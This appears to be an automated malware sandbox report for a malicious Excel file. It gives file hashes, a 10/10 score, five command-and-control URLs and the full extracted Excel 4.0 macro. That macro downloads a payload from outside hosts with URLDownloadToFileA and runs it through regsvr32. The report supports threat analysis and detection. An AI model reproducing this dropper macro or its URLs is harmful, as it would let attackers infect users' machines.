30cba33f0b2746df393a1bd037de2bd3646cd881b12604dd753cb079080aadf7

General

Target

30cba33f0b2746df393a1bd037de2bd3646cd881b12604dd753cb079080aadf7
Size

95KB
Sample

241120-3f6vnawfqn
MD5

41abe5dc4d6f51c0c7dc52f95f16f292
SHA1

24181547cd3f82db6799cb59a5fe2b8c6f84a51a
SHA256

30cba33f0b2746df393a1bd037de2bd3646cd881b12604dd753cb079080aadf7
SHA512

0d55a79be7c5506864cd0758c1e727bd5774b2f23f71df5ed56b9a43f7bbf650f62d59ef840e5fe4a3748cb308f7c9bd7bccd53956709e1e4df20b322eea1dd6
SSDEEP

1536:G6ghqXvo8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVh9:G9iv38DsVhonV69o2bchgGaWBcpAk9

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/

https://makspeedtech.com/cgi-bin/6BuOTbA/

https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/

https://mbahauddin.com/v/2horjuyP/

https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/","..\wnu3.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://makspeedtech.com/cgi-bin/6BuOTbA/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mbahauddin.com/v/2horjuyP/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wnu3.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/

xlm40.dropper

https://makspeedtech.com/cgi-bin/6BuOTbA/

xlm40.dropper

https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/

xlm40.dropper

https://mbahauddin.com/v/2horjuyP/

xlm40.dropper

https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/